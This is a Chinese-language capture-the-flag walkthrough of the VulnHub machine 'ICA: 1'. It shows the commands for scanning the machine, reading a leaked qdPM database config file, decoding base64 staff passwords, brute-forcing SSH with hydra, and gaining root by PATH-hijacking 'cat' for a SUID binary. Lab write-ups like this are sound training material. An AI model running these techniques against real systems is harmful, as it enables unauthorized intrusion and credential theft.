一、前言
主要利用方式:敏感信息泄露+数据库base64解码获取密码+ssh登陆后suid文件提权
二、靶机信息
靶场: vulnhub.com
靶机名称: ICA: 1
难度: 简单
发布时间: 2021 年 9月 25日
下载地址:https://www.vulnhub.com/entry/ica-1,748/
备注:web框架存在敏感信息泄露,密码爆破后要把用户名的大写换成小写。
suid提权时候,需要替换cat的路径,新方法,新尝试~!
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配、USB:1.0
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.14
└─$ sudo nmap -p22,80 -sV -A 10.0.2.14
3、常规访问80端口及路径扫描
web页面提示了qdPM 9.2这个信息,路径扫描也发现了uploads、backups及install文件,但皆无果
http://10.0.2.14/
└─$ dirsearch -u 10.0.2.14
4、搜索框架漏洞,并下载到本地,查看利用方式
└─$ searchsploit qdPM 9.2
└─$ searchsploit -m php/webapps/50176.txt
└─$ cat 50176.txt
The password and connection string for the database are stored in a yml file.
To access the yml file you can go to
http://<website>/core/config/databases.yml file and download.
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,你可以进入 http://<website>/core/config/databases.yml文件并下载。
5、存在信息泄露,访问url,获取账号密码
http://10.0.2.14/core/config/databases.yml
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
6、登录mysql,通过base64解码,hydra确定哪些可以进行22登录靶机
└─$ mysql -u qdpmadmin -h 10.0.2.14 -p
Enter password: (UcVQCMQk2STVeS6J)
查看了qdpm库,但未找到任何有用信息,进入staff库,查看到用户及密码(base64编码)
通过bse64解码,如下
Lucas/suRJAdGwLp8dy3rF
Dexter/7ZwV4qtg42cmUXGX
Smith/X7MQkP3W29fewHdC
Travis/DJceVy98W28Y7wLg
Meyer/cqNnBWCByS2DuJSy
因为user表中未明确uid,所以用密码爆破来匹配一下,哪些账号可以登录
尝试了大写后,发现无任何账号和密码匹配,再替换用户名小写后,才爆破成功
22 host: 10.0.2.14 login: travis password: DJceVy98W28Y7wLg
22 host: 10.0.2.14 login: dexter password: 7ZwV4qtg42cmUXGX
五、漏洞利用(突破边界)
7、使用travis来登录靶机
└─$ ssh travis@10.0.2.14 -p 22
经过尝试,travis无任何利用途径
8、使用dexter来登录靶机,有个友情提示
└─$ ssh dexter@10.0.2.14 -p 22
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
在我看来,在访问系统时存在一个弱点。
据我所知,可执行文件的内容是部分可见的。
我需要找出其中是否存在漏洞。
六、提权
9、查看su、sudo、suid权限文件
dexter@debian:~$ find / -perm -u=s 2>/dev/null
10、查看get_access文件,二进制文件用cat会乱码,使用strings 命令即可
dexter@debian:~$ strings /opt/get_access
11、替换cat命令,导入环境变量
这个cat命令它并没有指定是哪个文件夹下的cat命令
所以我们可以创建一个名为cat的文件,内容写上"/bin/bash",然后把它添加到环境变量,就可以提权了
dexter@debian:~$ echo "/bin/bash" > /tmp/cat
dexter@debian:~$ export PATH=/tmp:$PATH
dexter@debian:~$ chmod +x /tmp/cat
dexter@debian:~$ echo export
export
dexter@debian:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
12、执行命令,提权,查看flag
dexter@debian:~$ /opt/get_access
root@debian:~# cd /root
root@debian:/root# ls -la
root@debian:/root# cat root.txt
root@debian:/root# more root.txt
ICA{Next_Generation_Self_Renewable_Genetics}